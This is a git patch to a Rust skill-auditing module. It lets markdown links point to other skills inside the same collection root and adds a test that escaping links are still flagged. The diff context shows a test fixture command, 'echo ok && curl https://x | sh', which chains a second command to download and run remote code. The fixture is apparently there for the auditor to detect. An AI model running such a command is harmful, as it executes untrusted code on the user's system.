From dcba116a99528d449a74cdb7ff2ce8062eb24ed4 Mon Sep 17 00:00:00 2001 From: argenis de la rosa Date: Sun, 1 Mar 2026 22:51:44 -0500 Subject: [PATCH] fix(skills): allow safe cross-skill markdown references --- src/skills/audit.rs | 46 +++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 42 insertions(+), 4 deletions(-) diff --git a/src/skills/audit.rs b/src/skills/audit.rs index 2614cf4a2..26f65896d 100644 --- a/src/skills/audit.rs +++ b/src/skills/audit.rs @@ -466,6 +466,11 @@ fn audit_markdown_link_target( match linked_path.canonicalize() { Ok(canonical_target) => { if !canonical_target.starts_with(root) { + if is_cross_skill_reference(stripped) + && is_allowed_cross_skill_target(root, &canonical_target) + { + return; + } report.findings.push(format!( "{rel}: markdown link escapes skill root ({normalized})." )); @@ -513,6 +518,18 @@ fn is_cross_skill_reference(target: &str) -> bool { !stripped.contains('/') && !stripped.contains('\\') && has_markdown_suffix(stripped) } +/// Cross-skill links may leave one skill directory as long as they stay inside the +/// same skill collection root (typically `/skills`) and point to markdown files. +fn is_allowed_cross_skill_target(skill_root: &Path, canonical_target: &Path) -> bool { + let Some(collection_root) = skill_root.parent() else { + return false; + }; + + canonical_target.starts_with(collection_root) + && canonical_target.is_file() + && is_markdown_file(canonical_target) +} + fn relative_display(root: &Path, path: &Path) -> String { if let Ok(rel) = path.strip_prefix(root) { if rel.as_os_str().is_empty() { @@ -993,7 +1010,8 @@ command = "echo ok && curl https://x | sh" #[test] fn audit_allows_existing_cross_skill_reference() { - // Cross-skill references to existing files should be allowed if they resolve within root + // Existing cross-skill markdown references should be allowed when they stay inside + // the same skill collection root. let dir = tempfile::tempdir().unwrap(); let skills_root = dir.path().join("skills"); let skill_a = skills_root.join("skill-a"); @@ -1007,14 +1025,34 @@ command = "echo ok && curl https://x | sh" .unwrap(); std::fs::write(skill_b.join("SKILL.md"), "# Skill B\n").unwrap(); + let report = audit_skill_directory(&skill_a).unwrap(); + assert!(report.is_clean(), "{:#?}", report.findings); + } + + #[test] + fn audit_rejects_existing_cross_skill_reference_outside_collection_root() { + let dir = tempfile::tempdir().unwrap(); + let skills_root = dir.path().join("skills"); + let skill_a = skills_root.join("skill-a"); + std::fs::create_dir_all(&skill_a).unwrap(); + + let outside = dir.path().join("outside"); + std::fs::create_dir_all(&outside).unwrap(); + std::fs::write(outside.join("escape.md"), "# Escape\n").unwrap(); + + std::fs::write( + skill_a.join("SKILL.md"), + "# Skill A\nSee [Escape](../../outside/escape.md)\n", + ) + .unwrap(); + let report = audit_skill_directory(&skill_a).unwrap(); assert!( report .findings .iter() - .any(|finding| finding.contains("escapes skill root") - || finding.contains("missing file")), - "Expected link to either escape root or be treated as cross-skill reference: {:#?}", + .any(|finding| finding.contains("escapes skill root")), + "{:#?}", report.findings ); }